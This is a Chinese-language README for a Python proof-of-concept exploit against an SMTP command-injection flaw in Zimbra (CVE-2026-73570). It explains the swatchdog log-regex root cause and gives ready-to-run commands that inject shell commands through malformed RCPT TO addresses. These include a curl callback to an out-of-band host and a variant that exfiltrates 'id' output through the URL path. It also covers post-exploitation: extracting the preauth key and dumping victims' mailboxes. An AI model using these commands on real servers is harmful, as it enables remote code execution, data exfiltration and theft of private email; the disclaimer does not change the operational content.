一个自定义的底层 Python 概念验证(PoC)脚本,用于测试 SMTP 命令注入漏洞(CVE-2026-73570)。
该工具发送包含 shell 风格命令替换(例如 $(command))的畸形 RCPT TO 地址,以确定目标邮件服务器或其下游处理管道是否在未经清理的情况下错误地将该地址传递给 shell。
⚠️ 免责声明: 此工具仅用于教育目的和授权安全测试。请确保您拥有测试目标基础设施的明确权限。未经授权扫描或利用邮件服务器属于违法行为。
并非每个 Zimbra 服务器都存在漏洞。以下所有条件必须同时满足:
zimbra-snmp 软件包(安装时通常会提示)。snmp_notify)。swatchdog 服务正在运行(默认开启)。攻击面: 该攻击无需向攻击者暴露 SNMP(UDP/161/162)。恶意输入通过标准 SMTP 到达。
swatchdog 进程使用 /opt/zimbra/conf/swatchrc.in 中的配置来跟踪 /var/log/zimbra.log 日志文件。它使用以下正则表达式主动匹配日志条目:
/: Service status change: (\S+) (.*) changed from stopped to running/
/: Service status change: (\S+) (.*) changed from running to stopped/
(.*) 捕获组被视为服务名称。随后 dosnmp 脚本将该捕获文本直接插入到 Perl 反引号 snmptrap 命令中。由于 Perl 反引号通过系统 shell 执行,因此 (.*) 中捕获的任何 shell 元字符都会被求值并执行。
攻击者通过发送 SMTP 命令(如 RCPT TO)将恶意文本注入日志,其参数看起来像真实的服务状态行。Postfix 会将其记录为非法地址语法,但 swatchdog 仍会在日志行中匹配该正则表达式,并将载荷传递给 shell。
smtplib 的内部地址验证,以攻击者的方式发送原始的非 RFC 兼容载荷。--command 标志接受任意 shell 命令。argparse 构建,便于集成到测试工作流中。将脚本保存为名为 CVE-2026-73570.py 的文件(或您喜欢的任何名称):
# 示例:下载或创建文件
nano CVE-2026-73570.py
您可以根据测试场景以多种方式运行该脚本。
如果您未指定端口,脚本将扫描 25、465 和 587 端口,并自动以第一个开放的端口为目标。
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://your-unique-id.requestrepo.com"
如果您已经知道目标端口(例如 465),可以跳过扫描猜测。
python3 CVE-2026-73570.py --host 127.0.0.1 --port 465 --command "curl http://your-unique-id.requestrepo.com"
如果您只想检查目标上哪些邮件端口开放,而不发送载荷。
python3 CVE-2026-73570.py --host 127.0.0.1 --scan-only
单独运行脚本只能证明邮件服务器接收了畸形的 RCPT TO 地址。要确认实际的命令注入,而无需直接访问目标的文件系统或日志,请使用通过 HTTP 的带外(OOB)回调。
http://xyz123.requestrepo.com)。curl 执行脚本以访问您的唯一 URL:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com"
专业提示(数据外泄): 您可以通过将命令输出注入到回调的 URL 路径中来外泄命令输出:
python3 CVE-2026-73570.py --host 127.0.0.1 --command "curl http://xyz123.requestrepo.com/$(id | tr -d ' ')"
检查您的 Request Repo 仪表板,查看请求路径中的 uid=0(root) 输出。
在测试过程中,您可能会收到类似这样的 SMTP 响应:
[<] RCPT TO: 554 554 5.7.1 <[email protected]>: Recipient address rejected: Access denied
不要仅仅因为地址被拒绝就认为漏洞利用失败。
许多邮件服务器(如 Postfix 或 Exim)会在 SMTP 事务期间从语法上接受载荷,但会立即拒绝投递尝试,因为该域名/收件人不在其允许的中继列表中。
CVE-2026-73570 漏洞在此拒绝之后触发。恶意字符串作为非法地址语法日志条目流入 /var/log/zimbra.log。swatchdog 跟踪此日志,匹配载荷,并将其传递给 shell。
由于载荷仍会到达这些后端系统进行日志记录,因此命令替换($())仍会被执行。无论 SMTP 响应代码如何,始终依赖您的 OOB 回调(例如 Request Repo)来验证成功。
一旦通过 swatchdog 注入实现命令执行,攻击者通常以 zimbra 用户身份操作。从这里开始,主要目标通常是访问邮箱数据。
为促进这一后续步骤,您可以使用 zimbraKing —— 一个用于转储 Zimbra 邮箱的自定义工具。
使用场景:
在漏洞利用后阶段,如果您能够读取 Zimbra 配置文件并提取 preAuthKey(通常位于 /opt/zimbra/conf/localconfig.xml 中的 zimbra_preauth_key 键下),或者如果您获得了有效的 Zimbra 账户凭据,您可以将这些信息输入 zimbraKing。
该工具利用 preAuthKey 或账户凭据对 Zimbra SOAP API 进行身份验证,并系统地转储目标邮箱内容,而无需直接与底层数据库或文件系统交互。
smtplib?Python 内置的 smtplib 强制执行严格的 RFC 标准。如果您尝试通过 smtplib.sendmail() 传递包含 "、$、( 和 ) 的地址,该库要么会篡改字符串使其“安全”,要么会在数据到达网络之前抛出 SMTPRecipientsRefused 异常。此自定义客户端使用原始套接字来保证漏洞利用载荷的逐字节传输。
| 参数 | 简写 | 描述 | 默认值 |
|---|
--host | -H | 目标主机 IP 或域名。 | 127.0.0.1 |
--port | -p | 目标端口。如果省略,则扫描 25、465、587 并以开放的端口为目标。 | None(自动) |
--command | -c | 要注入到 SMTP 载荷中的 shell 命令。 | TEST_PAYLOAD |
--scan-only | -s | 仅扫描端口并退出,不发送注入载荷。 | False |